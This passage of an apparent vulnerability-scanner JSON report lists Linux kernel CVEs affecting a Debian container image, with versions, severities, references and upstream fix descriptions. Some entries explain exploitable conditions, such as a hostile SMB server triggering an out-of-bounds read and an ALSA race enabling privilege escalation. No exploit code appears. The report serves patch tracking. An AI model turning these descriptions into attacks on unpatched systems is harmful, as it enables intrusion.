"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/8/ALSA-2026-85774.html", "https://errata.rockylinux.org/RLSA-2026:85773", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93288.mbox", "https://git.kernel.org/stable/c/33d1469b0124cc0baaea7a2032123b77a81e0940", "https://git.kernel.org/stable/c/3b9aa62d78ce80de47af2db472ff452398755213", "https://git.kernel.org/stable/c/5570d6c8b320dbcc602617ee08c27ce752fed65a", "https://git.kernel.org/stable/c/ba2e246aa294f9acd86194ea87fb6834ed0a37ac", "https://git.kernel.org/stable/c/dc20050b6b12ca58066715d088e1a537535d938d", "https://git.kernel.org/stable/c/f4461654374576e9d5d0245fd534c46ad8509051", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-ile2zor2vjdr.toml", "https://linux.oracle.com/cve/CVE-2026-93288.html", "https://linux.oracle.com/errata/ELSA-2026-85773.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93288", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-93288" ], "PublishedDate": "2026-09-24T17:17:10.07Z", "LastModifiedDate": "2026-10-03T11:17:47.413Z" }, { "VulnerabilityID": "CVE-2026-93787", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93787", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d7a5f11a97414588492e98a73b04dd82db8dc2b4af668c7c7e98a3d45557723b", "Title": "kernel: smb: client: bound dirent name against end of SMB response in cifs_filldir", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: bound dirent name against end of SMB response in cifs_filldir\n\ncifs_filldir() copies the entry name out of an SMB1 TRANS2_FIND_FIRST /\nFIND_NEXT response using a length (de.namelen) supplied by the server.\nThe kmalloc'd SMB response buffer is bounded, but nothing checks that\nde.name + de.namelen still lies inside that buffer before the eventual\nfilldir64() -\u003e verify_dirent_name() -\u003e memchr() reads namelen bytes.\n\nA hostile SMB1 server that returns an oversized FileNameLength in a\ndirectory entry therefore causes memchr() to read past the end of the\nresponse slab buffer. Reachable from any user who can list a directory\non a CIFS mount served by an attacker-controlled server (getdents64()\non the mounted directory):\n\n BUG: KASAN: slab-out-of-bounds in memchr+0x71/0x80\n Read of size 1 at addr ffff88800e0640cc by task poc/115\n Call Trace:\n dump_stack_lvl+0x64/0x80\n print_report+0xce/0x620\n kasan_report+0xec/0x120\n memchr+0x71/0x80\n filldir64+0x4c/0x6a0\n cifs_filldir.constprop.0+0x9bb/0x1e00\n cifs_readdir+0x2101/0x3380\n iterate_dir+0x19c/0x520\n __x64_sys_getdents64+0x126/0x210\n do_syscall_64+0x107/0x5a0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nPass the end-of-response pointer down to cifs_filldir() and reject\nentries whose name would extend past that boundary.\n\nThis bug was discovered by Artiphishell's vTriage pipeline, which\ngenerated a userspace reproducer (an emulated hostile SMB1 server plus\na getdents64() client) that reliably triggers the KASAN report on an\nunpatched kernel. The fix below was drafted with the Claude coding\nassistant; a userspace reproducer is available on request.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-93787", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93787.mbox", "https://git.kernel.org/stable/c/03003506c86f90312b0966283662c42fcab66e4b", "https://git.kernel.org/stable/c/4cb3d79beee0fecc739ce07af915d503f29ae557", "https://git.kernel.org/stable/c/6e3b965267b7313903baba2739992b1e2e92d540", "https://git.kernel.org/stable/c/cf87ef1e62ed31a439064cef69d6eec38c68bd92", "https://git.kernel.org/stable/c/f8cf09a53a0dc1da298e9dd0ba5f21710cf119d6", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-rw0v4f1kee9f.toml", "https://linux.oracle.com/cve/CVE-2026-93787.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93787", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93787" ], "PublishedDate": "2026-09-24T17:17:11.363Z", "LastModifiedDate": "2026-10-03T11:17:48.293Z" }, { "VulnerabilityID": "CVE-2026-93817", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93817", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ac95265745b0e17e405913c3ec8791aed6aefa487de4968e613f86028465440", "Title": "kernel: perf: Fix addr_filter_ranges lifetime", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Fix addr_filter_ranges lifetime\n\nLee Jia Jie reported that since event::addr_filter_ranges is used\nunder RCU, it should be RCU freed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-93817", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-93817.mbox", "https://git.kernel.org/stable/c/1d8e1e99b063de4179cc8af14d08115d74a37abf", "https://git.kernel.org/stable/c/6f1853b2b9f38f1343790bae8c0601b3f7554754", "https://git.kernel.org/stable/c/a0b1ec3a2daf4d4233fae9b5b8d657b4a5db4df6", "https://git.kernel.org/stable/c/cd8dab11046c03ab07899ce3fe2aa7d1a9702cf1", "https://git.kernel.org/stable/c/e62d4192e593630f355094adc467058a05bdc935", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-zjdir6glgvax.toml", "https://linux.oracle.com/cve/CVE-2026-93817.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93817", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-93817" ], "PublishedDate": "2026-09-24T17:17:15.233Z", "LastModifiedDate": "2026-10-30T13:21:03.323Z" }, { "VulnerabilityID": "CVE-2026-97417", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97417", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0a021ae70c7851cb8ad6058652c8beaa9be6ae78962884e4d269332e4e0d8f79", "Title": "kernel: netfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack()\n\nThe timestamp-only fast path dereferences the option stream as\n*(__be32 *)ptr, which assumes 4-byte alignment that the TCP option\nstream does not guarantee. Use get_unaligned_be32() instead, which\nreads the value safely and already returns host byte order, so the\nhtonl() on the comparison constant can be dropped.\n\nThis matches the existing get_unaligned_be32() use later in the same\nfunction.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 1, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-97417", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97417.mbox", "https://git.kernel.org/stable/c/0d5ad732e4fdc569eb85861115e8f7b4c2c67852", "https://git.kernel.org/stable/c/4abc1af7ac209c066f4e5dd75cdd56876e5829a9", "https://git.kernel.org/stable/c/55bcc3376cd7b18954cc9814da697504fdaf12bf", "https://git.kernel.org/stable/c/740ad3d17a281f7764dda4dbeb37cea52e2e31ae", "https://git.kernel.org/stable/c/7ecfa46a536578a7ed335ddf31a854127268c27c", "https://git.kernel.org/stable/c/a0523267de2523522b0f70972dd1ffa22ec6176c", "https://git.kernel.org/stable/c/d3bf9eae486490832bd08fd62ab0ac601f346bd4", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-peim2i8jgivr.toml", "https://linux.oracle.com/cve/CVE-2026-97417.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97417", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-97417" ], "PublishedDate": "2026-09-24T17:17:19.457Z", "LastModifiedDate": "2026-10-03T11:17:53.747Z" }, { "VulnerabilityID": "CVE-2026-98111", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2474bb9a97d84c350910d5a26a674123f06a79d51f076af6ed29ba16048abfb7", "Title": "kernel: Bluetooth: btintel: validate version TLV value lengths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: validate version TLV value lengths\n\nbtintel_parse_version_tlv() verifies that a complete TLV is present in\nthe response, but it does not ensure that the value is long enough for\nthe specific TLV type. A short value can therefore cause an\nout-of-bounds read through get_unaligned_le16(), get_unaligned_le32(),\nor memcpy().\n\nReject values shorter than the minimum required by each known TLV type.\nAlso reject responses that do not contain the Command Complete Status\nfield.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98111", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98111.mbox", "https://git.kernel.org/stable/c/5ec43df2830b73e004147303bf7914ca884d6770", "https://git.kernel.org/stable/c/76948d207d0978a613ce06a05cba07284a5578a7", "https://git.kernel.org/stable/c/83499ac3ca62e43ed40f7574b13ed398a6891511", "https://git.kernel.org/stable/c/a086c0892969bf8a0151b0f12bd14a68827c88b2", "https://git.kernel.org/stable/c/e9cf7f175c00d36b060828f4eac8d2e246ee079b", "https://linux.oracle.com/cve/CVE-2026-98111.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98111", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98111" ], "PublishedDate": "2026-09-25T11:17:42.223Z", "LastModifiedDate": "2026-10-28T18:45:26.26Z" }, { "VulnerabilityID": "CVE-2026-98116", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98116", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:361514483e4d13f971367f1980b1895901024e8e2ffa57aec043197af6459801", "Title": "kernel: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF\n\nsnd_pcm_hw_params() and snd_pcm_hw_free() guard buffer reallocation\nwith an mmap_count check performed under the PCM stream lock, but the\nlock is released long before the buffer is actually freed:\nsnd_pcm_sync_stop(), constraint refinement and do_free_pages() all\nhappen in between. snd_pcm_mmap_data(), on the other hand, takes no\nlock at all: it validates against the old buffer's state and\ndma_bytes, remaps its pages into the VMA, and only then increments\nmmap_count.\n\nA concurrent mmap() can therefore slip in between the check and the\nfree. remap_pfn_range() installs writable PTEs for the old buffer's\npages without taking page references, and the subsequent\ndo_free_pages() returns those pages to the page allocator while the\nVMA still maps them. This leaves a stale, writable mapping of freed\npages: a page-level use-after-free that can be leveraged for local\nprivilege escalation.\n\nMake snd_pcm_mmap_data() participate in the buffer-access scheme\nintroduced for hw_params/hw_free: acquire runtime-\u003ebuffer_accessing\nbefore validating and remapping, and release it afterwards. Buffer\nreallocation already fails with -EBUSY while accessors are active,\nand the mmap side now fails with -EBUSY while a reallocation is in\nprogress, so the validate/remap sequence and the check/free sequence\ncan no longer interleave.\n\nA reproducer that turns this race into a stale writable mapping of\nthe freed DMA buffer pages is available on request.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98116", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98116.mbox", "https://git.kernel.org/stable/c/8c1882dfee8f404d118020664b73eb4592172226", "https://git.kernel.org/stable/c/9857a75714bb5df4781e4d8b1a1753b1e17bf07a", "https://git.kernel.org/stable/c/9b110a9dcecc59516c77cb3c0caf1f492f75df2d", "https://git.kernel.org/stable/c/cbadf2575d25e7dcc0d4da2717817ae569fbc99b", "https://git.kernel.org/stable/c/cbc7ec97601d09b74e05e44470fa6b0bcdabf3f5", "https://git.kernel.org/stable/c/e6cdd2a0470d64073349a970dc1691433804b271", "https://git.kernel.org/stable/c/fd137bf8149bc6460f9b7b1fc292025da04cb9ee", "https://linux.oracle.com/cve/CVE-2026-98116.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98116", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98116" ], "PublishedDate": "2026-09-25T11:17:42.78Z", "LastModifiedDate": "2026-10-28T16:10:22.6Z" }, { "VulnerabilityID": 